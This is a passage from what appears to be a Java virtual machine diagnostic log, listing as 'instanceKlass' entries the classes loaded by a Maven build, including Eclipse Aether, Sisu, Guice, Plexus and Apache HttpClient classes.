java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/internal/BytecodeGen$$Lambda$72\ninstanceKlass com/google/inject/internal/BytecodeGen$EnhancerBuilder\ninstanceKlass com/google/inject/internal/aop/ClassBuilding\ninstanceKlass com/google/common/collect/MapMakerInternalMap$StrongValueEntry\ninstanceKlass com/google/common/collect/MapMakerInternalMap$WeakKeyStrongValueEntry$Helper\ninstanceKlass com/google/common/collect/MapMakerInternalMap$InternalEntry\ninstanceKlass com/google/common/collect/MapMakerInternalMap$1\ninstanceKlass com/google/common/collect/MapMakerInternalMap$InternalEntryHelper\ninstanceKlass com/google/common/collect/MapMakerInternalMap$WeakValueReference\ninstanceKlass com/google/common/collect/MapMaker\ninstanceKlass com/google/inject/internal/BytecodeGen\ninstanceKlass com/google/inject/internal/ConstructionProxy\ninstanceKlass com/google/inject/internal/DefaultConstructionProxyFactory\ninstanceKlass com/google/inject/internal/ConstructionProxyFactory\ninstanceKlass com/google/inject/internal/ConstructorBindingImpl$Factory\ninstanceKlass org/eclipse/sisu/inject/TypeArguments$Implicit\ninstanceKlass org/eclipse/sisu/wire/PlaceholderBeanProvider\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$6\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$7\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$1\ninstanceKlass com/google/inject/spi/ProviderLookup$1\ninstanceKlass com/google/inject/spi/ProviderWithDependencies\ninstanceKlass com/google/inject/spi/ProviderLookup\ninstanceKlass org/eclipse/sisu/wire/BeanProviders\ninstanceKlass org/eclipse/sisu/inject/HiddenSource\ninstanceKlass org/eclipse/sisu/wire/LocatorWiring\ninstanceKlass com/google/inject/ProvidedBy\ninstanceKlass com/google/inject/ImplementedBy\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/codehaus/classworlds/ClassRealm\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecryptionResult\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsProblemCollector\ninstanceKlass org/apache/maven/settings/merge/MavenSettingsMerger\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingResult\ninstanceKlass org/apache/maven/settings/building/SettingsProblemCollector\ninstanceKlass org/eclipse/aether/impl/MetadataGenerator\ninstanceKlass org/apache/maven/model/Relocation\ninstanceKlass org/apache/maven/repository/internal/ArtifactDescriptorReaderDelegate\ninstanceKlass org/eclipse/aether/named/support/AdaptedSemaphoreNamedLock$AdaptedSemaphore\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport$NamedLockHolder\ninstanceKlass org/eclipse/aether/named/support/NamedLockSupport\ninstanceKlass org/eclipse/aether/named/NamedLock\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapter\ninstanceKlass org/eclipse/aether/spi/log/Logger\ninstanceKlass org/eclipse/aether/internal/impl/filter/PrefixesRemoteRepositoryFilterSource$Node\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilter$Result\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilter\ninstanceKlass org/eclipse/aether/collection/DependencyTraverser\ninstanceKlass org/eclipse/aether/collection/DependencyManager\ninstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector$DescriptorResolutionResult\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector$Args\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/DependencyProcessingContext\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/DependencyResolutionSkipper\ninstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollectionContext\ninstanceKlass org/eclipse/aether/collection/DependencyCollectionContext\ninstanceKlass org/eclipse/aether/graph/DefaultDependencyNode\ninstanceKlass org/eclipse/aether/version/Version\ninstanceKlass org/eclipse/aether/internal/impl/collect/PremanagedDependency\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext\ninstanceKlass org/eclipse/aether/collection/VersionFilter\ninstanceKlass org/eclipse/aether/collection/DependencyGraphTransformationContext\ninstanceKlass org/eclipse/aether/collection/VersionFilter$VersionFilterContext\ninstanceKlass org/eclipse/aether/spi/connector/Transfer\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SummaryFileTrustedChecksumsSource$SummaryFileWriter\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SparseDirectoryTrustedChecksumsSource$SparseDirectoryWriter\ninstanceKlass org/eclipse/aether/spi/checksums/TrustedChecksumsSource$Writer\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithm\ninstanceKlass org/eclipse/aether/impl/UpdateCheck\ninstanceKlass org/eclipse/aether/spi/connector/transport/Transporter\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorRequest\ninstanceKlass org/eclipse/aether/resolution/DependencyResult\ninstanceKlass org/eclipse/aether/resolution/DependencyRequest\ninstanceKlass org/eclipse/aether/resolution/VersionRangeResult\ninstanceKlass org/eclipse/aether/resolution/VersionRangeRequest\ninstanceKlass org/eclipse/aether/collection/CollectResult\ninstanceKlass org/eclipse/aether/collection/CollectRequest\ninstanceKlass org/eclipse/aether/resolution/VersionRequest\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayout\ninstanceKlass org/eclipse/aether/RepositoryEvent\ninstanceKlass org/eclipse/aether/repository/LocalRepository\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposer\ninstanceKlass org/eclipse/aether/transform/FileTransformer\ninstanceKlass org/eclipse/aether/installation/InstallResult\ninstanceKlass org/eclipse/aether/installation/InstallRequest\ninstanceKlass org/eclipse/aether/spi/io/FileProcessor$ProgressListener\ninstanceKlass org/eclipse/aether/deployment/DeployResult\ninstanceKlass org/eclipse/aether/deployment/DeployRequest\ninstanceKlass org/eclipse/aether/internal/impl/DefaultDeployer$EventCatapult\ninstanceKlass org/eclipse/aether/repository/RepositoryPolicy\ninstanceKlass org/eclipse/aether/transfer/TransferResource\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumPolicy\ninstanceKlass org/eclipse/aether/internal/impl/DefaultArtifactResolver$ResolutionGroup\ninstanceKlass org/eclipse/aether/resolution/VersionResult\ninstanceKlass org/eclipse/aether/repository/LocalArtifactResult\ninstanceKlass org/eclipse/aether/resolution/ArtifactResult\ninstanceKlass org/eclipse/aether/resolution/ArtifactRequest\ninstanceKlass org/eclipse/aether/SyncContext\ninstanceKlass org/eclipse/aether/spi/locator/ServiceLocator\ninstanceKlass org/eclipse/aether/repository/RemoteRepository\ninstanceKlass org/eclipse/aether/spi/connector/RepositoryConnector\ninstanceKlass org/apache/maven/model/validation/DefaultModelValidator$1ActivationFrame\ninstanceKlass org/apache/maven/model/profile/activation/JdkVersionProfileActivator$RangeValue\ninstanceKlass org/apache/maven/model/InputLocation\ninstanceKlass org/apache/maven/model/InputSource\ninstanceKlass org/apache/maven/model/interpolation/StringVisitorModelInterpolator$InnerInterpolator\ninstanceKlass org/apache/maven/model/ActivationOS\ninstanceKlass org/apache/maven/model/ActivationFile\ninstanceKlass org/apache/maven/model/Activation\ninstanceKlass org/apache/maven/model/ActivationProperty\ninstanceKlass org/codehaus/plexus/interpolation/RegexBasedInterpolator\ninstanceKlass org/apache/maven/model/profile/DefaultProfileActivationContext\ninstanceKlass org/apache/maven/model/building/ModelData\ninstanceKlass org/apache/maven/model/building/ModelBuildingEventCatapult\ninstanceKlass org/apache/maven/model/building/DefaultModelProblemCollector\ninstanceKlass org/apache/maven/model/building/ModelCacheTag\ninstanceKlass org/apache/maven/model/building/ModelBuildingEvent\ninstanceKlass org/apache/maven/model/building/ModelProblemCollectorExt\ninstanceKlass org/apache/maven/model/profile/ProfileActivationContext\ninstanceKlass org/apache/maven/cli/internal/extension/model/CoreExtension\ninstanceKlass org/apache/maven/building/ProblemCollector\ninstanceKlass org/apache/maven/toolchain/merge/MavenToolchainMerger\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationPostProcessor\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingResult\ninstanceKlass org/eclipse/aether/graph/Dependency\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorResult\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$PluginValidationIssues\ninstanceKlass com/google/inject/util/Types\ninstanceKlass org/eclipse/sisu/Nullable\ninstanceKlass org/eclipse/aether/repository/AuthenticationSelector\ninstanceKlass org/eclipse/aether/repository/ProxySelector\ninstanceKlass org/eclipse/aether/repository/MirrorSelector\ninstanceKlass org/eclipse/aether/resolution/ResolutionErrorPolicy\ninstanceKlass org/eclipse/aether/repository/LocalRepositoryManager\ninstanceKlass org/apache/maven/classrealm/ClassRealmManagerDelegate\ninstanceKlass org/apache/maven/classrealm/ClassRealmConstituent\ninstanceKlass org/apache/maven/classrealm/ClassRealmRequest\ninstanceKlass org/eclipse/aether/repository/WorkspaceRepository\ninstanceKlass org/apache/maven/ArtifactFilterManagerDelegate\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginManager\ninstanceKlass org/apache/maven/repository/ArtifactTransferListener\ninstanceKlass org/apache/maven/repository/legacy/LegacyRepositorySystem\ninstanceKlass org/eclipse/aether/util/graph/visitor/AbstractDepthFirstNodeListGenerator\ninstanceKlass org/apache/maven/plugin/descriptor/PluginDescriptorBuilder\ninstanceKlass org/apache/maven/plugin/logging/Log\ninstanceKlass org/codehaus/plexus/component/configurator/ConfigurationListener\ninstanceKlass org/apache/maven/plugin/internal/DefaultMavenPluginManager\ninstanceKlass org/apache/maven/artifact/resolver/DefaultResolutionErrorHandler\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache$PluginDescriptorSupplier\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginDescriptorCache\ninstanceKlass org/apache/maven/execution/DefaultRuntimeInformation\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphVertex\ninstanceKlass org/apache/maven/repository/metadata/DefaultGraphConflictResolver\ninstanceKlass org/apache/maven/lifecycle/internal/builder/singlethreaded/SingleThreadedBuilder\ninstanceKlass org/apache/maven/configuration/BeanConfigurationRequest\ninstanceKlass org/codehaus/plexus/component/configurator/expression/ExpressionEvaluator\ninstanceKlass org/codehaus/plexus/configuration/PlexusConfiguration\ninstanceKlass org/codehaus/plexus/component/configurator/converters/lookup/ConverterLookup\ninstanceKlass org/apache/maven/configuration/internal/DefaultBeanConfigurator\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/OldestConflictResolver\ninstanceKlass org/apache/maven/rtinfo/internal/DefaultRuntimeInformation\ninstanceKlass org/apache/maven/artifact/factory/DefaultArtifactFactory\ninstanceKlass org/apache/maven/repository/metadata/ClasspathContainer\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraph\ninstanceKlass org/apache/maven/repository/metadata/DefaultClasspathTransformation\ninstanceKlass org/codehaus/plexus/component/repository/ComponentSetDescriptor\ninstanceKlass org/apache/maven/plugin/DefaultBuildPluginManager\ninstanceKlass org/apache/maven/plugin/PluginRealmCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/PluginRealmCache$PluginRealmSupplier\ninstanceKlass org/apache/maven/plugin/PluginRealmCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginRealmCache\ninstanceKlass org/apache/maven/DefaultProjectDependenciesResolver\ninstanceKlass org/apache/maven/model/Reporting\ninstanceKlass org/apache/maven/model/PluginContainer\ninstanceKlass org/apache/maven/project/inheritance/DefaultModelInheritanceAssembler\ninstanceKlass org/apache/maven/repository/legacy/repository/DefaultArtifactRepositoryFactory\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResult\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver$Versions\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver$Key\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResult\ninstanceKlass org/eclipse/aether/version/VersionScheme\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver\ninstanceKlass org/apache/maven/exception/ExceptionSummary\ninstanceKlass org/apache/maven/exception/DefaultExceptionHandler\ninstanceKlass org/apache/maven/project/validation/ModelValidationResult\ninstanceKlass org/apache/maven/project/validation/DefaultModelValidator\ninstanceKlass org/apache/maven/plugin/descriptor/Parameter\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultMojoExecutionConfigurator\ninstanceKlass org/apache/maven/lifecycle/mapping/LifecyclePhase\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecyclePluginAnalyzer$GoalSpec\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecyclePluginAnalyzer\ninstanceKlass org/apache/maven/model/building/ModelProblem\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataSource$ProjectRelocation\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataSource\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/NearestConflictResolver\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/DefaultArtifactTransformationManager\ninstanceKlass org/apache/maven/profiles/ProfileManager\ninstanceKlass org/apache/maven/project/DefaultMavenProjectBuilder\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginArtifactsCache\ninstanceKlass org/apache/maven/artifact/repository/DefaultArtifactRepositoryFactory\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/PasswordDecryptor\ninstanceKlass sun/reflect/generics/tree/MethodTypeSignature\ninstanceKlass sun/reflect/generics/tree/VoidDescriptor\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/eclipse/aether/graph/DependencyNode\ninstanceKlass org/eclipse/aether/collection/DependencySelector\ninstanceKlass org/eclipse/aether/artifact/Artifact\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorPolicy\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginDependenciesResolver\ninstanceKlass org/apache/maven/artifact/repository/layout/DefaultRepositoryLayout\ninstanceKlass org/apache/maven/toolchain/DefaultToolchain\ninstanceKlass org/apache/maven/toolchain/ToolchainPrivate\ninstanceKlass org/apache/maven/toolchain/java/JavaToolchain\ninstanceKlass org/apache/maven/toolchain/java/JavaToolchainFactory\ninstanceKlass org/apache/maven/toolchain/Toolchain\ninstanceKlass org/apache/maven/toolchain/DefaultToolchainManager\ninstanceKlass org/apache/maven/artifact/repository/layout/FlatRepositoryLayout\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/ConcurrencyDependencyGraph\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/ThreadOutputMuxer\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectSegment\ninstanceKlass org/apache/maven/lifecycle/internal/ReactorBuildStatus\ninstanceKlass java/util/concurrent/CompletionService\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/MultiThreadedBuilder\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingRequest\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler\ninstanceKlass org/apache/maven/project/ProjectRealmCache$Key\ninstanceKlass org/apache/maven/project/DefaultProjectRealmCache\ninstanceKlass org/apache/maven/project/artifact/DefaultMavenMetadataCache$CacheKey\ninstanceKlass org/apache/maven/repository/legacy/metadata/ResolutionGroup\ninstanceKlass org/apache/maven/project/artifact/DefaultMavenMetadataCache\ninstanceKlass org/apache/maven/artifact/resolver/DefaultArtifactResolver\ninstanceKlass org/apache/maven/lifecycle/internal/PhaseRecorder\ninstanceKlass org/apache/maven/lifecycle/internal/DependencyContext\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectIndex\ninstanceKlass org/apache/maven/plugin/MojoExecutionRunner\ninstanceKlass org/apache/maven/plugin/internal/DefaultLegacySupport\ninstanceKlass org/apache/maven/repository/DefaultMirrorSelector\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/FarthestConflictResolver\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphEdge\ninstanceKlass org/apache/maven/artifact/versioning/ArtifactVersion\ninstanceKlass org/apache/maven/repository/metadata/DefaultGraphConflictResolutionPolicy\ninstanceKlass org/apache/maven/project/ReactorModelPool\ninstanceKlass org/apache/maven/model/building/ModelBuildingResult\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder$InternalConfig\ninstanceKlass org/apache/maven/model/resolution/ModelResolver\ninstanceKlass org/apache/maven/project/ProjectBuildingResult\ninstanceKlass org/apache/maven/model/building/ModelBuildingListener\ninstanceKlass org/apache/maven/model/building/ModelCache\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder\ninstanceKlass org/apache/maven/project/ProjectBuilderConfiguration\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolutionResult\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolutionRequest\ninstanceKlass org/apache/maven/repository/legacy/metadata/MetadataResolutionRequest\ninstanceKlass org/apache/maven/repository/legacy/resolver/DefaultLegacyArtifactCollector\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleExecutionPlanCalculator\ninstanceKlass org/apache/maven/profiles/ProfilesRoot\ninstanceKlass org/apache/maven/artifact/repository/metadata/Metadata\ninstanceKlass org/apache/maven/artifact/repository/metadata/io/DefaultMetadataReader\ninstanceKlass org/apache/maven/execution/ProjectDependencyGraph\ninstanceKlass org/apache/maven/model/building/ModelSource\ninstanceKlass org/apache/maven/graph/DefaultGraphBuilder\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/DefaultConflictResolverFactory\ninstanceKlass org/apache/maven/artifact/repository/Authentication\ninstanceKlass org/apache/maven/settings/TrackableBase\ninstanceKlass org/apache/maven/repository/Proxy\ninstanceKlass org/apache/maven/settings/RepositoryPolicy\ninstanceKlass org/apache/maven/model/RepositoryPolicy\ninstanceKlass org/apache/maven/artifact/versioning/VersionRange\ninstanceKlass org/apache/maven/settings/RepositoryBase\ninstanceKlass org/apache/maven/model/RepositoryBase\ninstanceKlass org/apache/maven/model/ConfigurationContainer\ninstanceKlass org/apache/maven/model/Dependency\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepositoryPolicy\ninstanceKlass org/apache/maven/artifact/resolver/filter/ArtifactFilter\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache$CacheRecord\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache$Key\ninstanceKlass org/apache/maven/project/artifact/DefaultProjectArtifactsCache\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycleExecutor\ninstanceKlass org/apache/maven/artifact/resolver/ResolutionNode\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/NewestConflictResolver\ninstanceKlass org/apache/maven/lifecycle/internal/TaskSegment\ninstanceKlass org/apache/maven/lifecycle/internal/ReactorContext\ninstanceKlass org/apache/maven/execution/ProjectExecutionListener\ninstanceKlass org/apache/maven/execution/BuildSummary\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleMappingDelegate\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultExtensionRealmCache\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleTaskSegmentCalculator\ninstanceKlass org/apache/maven/project/DefaultDependencyResolutionResult\ninstanceKlass org/apache/maven/project/DependencyResolutionRequest\ninstanceKlass org/eclipse/aether/graph/DependencyVisitor\ninstanceKlass org/apache/maven/project/DependencyResolutionResult\ninstanceKlass org/apache/maven/project/DefaultProjectDependenciesResolver\ninstanceKlass org/apache/maven/toolchain/model/TrackableBase\ninstanceKlass org/apache/maven/toolchain/DefaultToolchainsBuilder\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecryptionRequest\ninstanceKlass org/apache/maven/wagon/observers/ChecksumObserver\ninstanceKlass org/apache/maven/repository/legacy/DefaultWagonManager\ninstanceKlass org/eclipse/aether/RequestTrace\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixRequest\ninstanceKlass org/eclipse/aether/metadata/Metadata\ninstanceKlass org/eclipse/aether/repository/ArtifactRepository\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixResult\ninstanceKlass org/apache/maven/plugin/prefix/internal/DefaultPluginPrefixResolver\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession\ninstanceKlass org/apache/maven/model/building/Result\ninstanceKlass org/eclipse/aether/RepositorySystemSession\ninstanceKlass org/apache/maven/execution/MavenExecutionResult\ninstanceKlass org/apache/maven/DefaultMaven\ninstanceKlass org/apache/maven/artifact/repository/metadata/Versioning\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepository\ninstanceKlass org/apache/maven/artifact/Artifact\ninstanceKlass org/apache/maven/artifact/repository/RepositoryRequest\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadata\ninstanceKlass org/apache/maven/artifact/metadata/ArtifactMetadata\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadata\ninstanceKlass org/codehaus/plexus/logging/AbstractLogEnabled\ninstanceKlass org/apache/maven/execution/ExecutionEvent\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultExecutionEventCatapult\ninstanceKlass org/apache/maven/project/path/DefaultPathTranslator\ninstanceKlass org/apache/maven/plugin/version/PluginVersionRequest\ninstanceKlass org/eclipse/aether/RepositoryListener\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectBuildList\ninstanceKlass org/apache/maven/lifecycle/MavenExecutionPlan\ninstanceKlass org/apache/maven/model/building/ModelProblemCollector\ninstanceKlass org/apache/maven/model/building/ModelBuildingRequest\ninstanceKlass org/apache/maven/model/merge/ModelMerger\ninstanceKlass org/apache/maven/model/plugin/DefaultLifecycleBindingsInjector\ninstanceKlass org/apache/maven/artifact/handler/manager/DefaultArtifactHandlerManager\ninstanceKlass org/apache/maven/project/ProjectRealmCache$CacheRecord\ninstanceKlass org/apache/maven/model/ModelBase\ninstanceKlass org/apache/maven/model/InputLocationTracker\ninstanceKlass org/eclipse/aether/graph/DependencyFilter\ninstanceKlass org/apache/maven/project/DefaultProjectBuildingHelper\ninstanceKlass org/apache/http/config/Registry\ninstanceKlass org/apache/http/impl/conn/PoolingHttpClientConnectionManager\ninstanceKlass org/apache/http/pool/ConnPoolControl\ninstanceKlass org/apache/http/client/methods/CloseableHttpResponse\ninstanceKlass org/apache/http/HttpResponse\ninstanceKlass org/apache/maven/wagon/shared/http/BasicAuthScope\ninstanceKlass org/apache/maven/wagon/shared/http/HttpConfiguration\ninstanceKlass org/apache/http/impl/client/CloseableHttpClient\ninstanceKlass org/apache/http/client/HttpClient\ninstanceKlass org/apache/http/auth/Credentials\ninstanceKlass org/apache/http/client/AuthCache\ninstanceKlass org/apache/http/client/CredentialsProvider\ninstanceKlass org/apache/http/Header\ninstanceKlass org/apache/http/NameValuePair\ninstanceKlass org/apache/http/client/RedirectStrategy\ninstanceKlass org/apache/http/config/Lookup\ninstanceKlass org/apache/http/client/HttpRequestRetryHandler\ninstanceKlass org/apache/http/conn/ssl/TrustStrategy\ninstanceKlass org/apache/http/ssl/TrustStrategy\ninstanceKlass org/apache/http/client/ServiceUnavailableRetryStrategy\ninstanceKlass org/apache/http/protocol/HttpContext\ninstanceKlass org/apache/http/client/methods/HttpUriRequest\ninstanceKlass org/apache/http/HttpRequest\ninstanceKlass org/apache/http/HttpMessage\ninstanceKlass org/apache/http/auth/AuthScheme\ninstanceKlass org/apache/http/HttpEntity\ninstanceKlass org/apache/http/conn/HttpClientConnectionManager\ninstanceKlass org/apache/maven/wagon/InputData\ninstanceKlass org/apache/maven/wagon/OutputData\ninstanceKlass java/util/EventObject\ninstanceKlass org/apache/maven/wagon/events/SessionListener\ninstanceKlass org/apache/maven/wagon/events/TransferListener\ninstanceKlass org/apache/maven/wagon/resource/Resource\ninstanceKlass org/apache/maven/wagon/repository/RepositoryPermissions\ninstanceKlass org/apache/maven/wagon/proxy/ProxyInfo\ninstanceKlass org/apache/maven/wagon/authentication/AuthenticationInfo\ninstanceKlass org/apache/maven/wagon/events/TransferEventSupport\ninstanceKlass org/apache/maven/wagon/events/SessionEventSupport\ninstanceKlass org/apache/maven/wagon/repository/Repository\ninstanceKlass org/apache/maven/wagon/proxy/ProxyInfoProvider\ninstanceKlass org/apache/maven/wagon/AbstractWagon\ninstanceKlass org/apache/maven/wagon/StreamingWagon\ninstanceKlass org/apache/maven/lifecycle/mapping/DefaultLifecycleMapping\ninstanceKlass org/eclipse/sisu/space/asm/Handler\ninstanceKlass org/eclipse/sisu/space/asm/Frame\ninstanceKlass org/eclipse/sisu/space/asm/ByteVector\ninstanceKlass org/eclipse/sisu/space/asm/Symbol\ninstanceKlass org/eclipse/sisu/space/asm/SymbolTable\ninstanceKlass org/eclipse/sisu/space/asm/RecordComponentVisitor\ninstanceKlass org/eclipse/sisu/space/asm/FieldVisitor\ninstanceKlass org/eclipse/sisu/space/asm/ModuleVisitor\ninstanceKlass org/eclipse/sisu/space/asm/MethodVisitor\ninstanceKlass com/google/inject/spi/ProviderWithExtensionVisitor\ninstanceKlass com/google/common/collect/Iterables\ninstanceKlass java/util/stream/ForEachOps$ForEachOp\ninstanceKlass java/util/stream/ForEachOps\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$71\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$70\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$69\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$68\ninstanceKlass org/eclipse/sisu/plexus/PlexusBean\ninstanceKlass org/codehaus/plexus/component/repository/ComponentDescriptor\ninstanceKlass com/google/inject/spi/ProvidesMethodBinding\ninstanceKlass org/eclipse/sisu/inject/Guice4\ninstanceKlass com/google/inject/internal/GuiceInternal\ninstanceKlass org/sonatype/inject/Parameters\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanConverter\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanConverter\ninstanceKlass com/google/inject/spi/TypeConverterBinding\ninstanceKlass java/lang/reflect/AnnotatedParameterizedType\ninstanceKlass sun/reflect/generics/tree/Wildcard\ninstanceKlass sun/reflect/generics/tree/BottomSignature\ninstanceKlass org/eclipse/sisu/inject/DefaultRankingFunction\ninstanceKlass com/google/inject/spi/ProvisionListenerBinding\ninstanceKlass com/google/inject/spi/TypeListenerBinding\ninstanceKlass org/eclipse/sisu/bean/BeanListener\ninstanceKlass com/google/inject/matcher/Matchers\ninstanceKlass org/eclipse/sisu/bean/PropertyBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanBinder\ninstanceKlass com/google/inject/spi/InjectionListener\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/DefaultSecDispatcher\ninstanceKlass org/sonatype/plexus/components/cipher/DefaultPlexusCipher\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/codehaus/plexus/component/configurator/AbstractComponentConfigurator\ninstanceKlass org/codehaus/plexus/component/configurator/ComponentConfigurator\ninstanceKlass org/apache/maven/settings/validation/DefaultSettingsValidator\ninstanceKlass org/apache/maven/settings/validation/SettingsValidator\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsWriter\ninstanceKlass org/apache/maven/settings/io/SettingsWriter\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsReader\ninstanceKlass org/apache/maven/settings/io/SettingsReader\ninstanceKlass org/apache/maven/settings/crypto/DefaultSettingsDecrypter\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecrypter\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuilder\ninstanceKlass org/apache/maven/settings/building/SettingsBuilder\ninstanceKlass org/eclipse/aether/transport/wagon/WagonTransporterFactory\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonProvider\ninstanceKlass org/eclipse/aether/transport/wagon/WagonProvider\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonConfigurator\ninstanceKlass org/eclipse/aether/transport/wagon/WagonConfigurator\ninstanceKlass org/eclipse/aether/transport/http/ChecksumExtractor\ninstanceKlass org/eclipse/aether/transport/http/HttpTransporterFactory\ninstanceKlass org/eclipse/aether/transport/file/FileTransporterFactory\ninstanceKlass org/eclipse/aether/spi/connector/transport/TransporterFactory\ninstanceKlass org/apache/maven/repository/internal/VersionsMetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/SnapshotMetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/PluginsMetadataGeneratorFactory\ninstanceKlass org/eclipse/aether/impl/MetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionResolver\ninstanceKlass org/eclipse/aether/impl/VersionResolver\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionRangeResolver\ninstanceKlass org/eclipse/aether/impl/VersionRangeResolver\ninstanceKlass org/apache/maven/repository/internal/DefaultModelCacheFactory\ninstanceKlass org/apache/maven/repository/internal/ModelCacheFactory\ninstanceKlass org/apache/maven/repository/internal/DefaultArtifactDescriptorReader\ninstanceKlass org/eclipse/aether/impl/ArtifactDescriptorReader\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport\ninstanceKlass 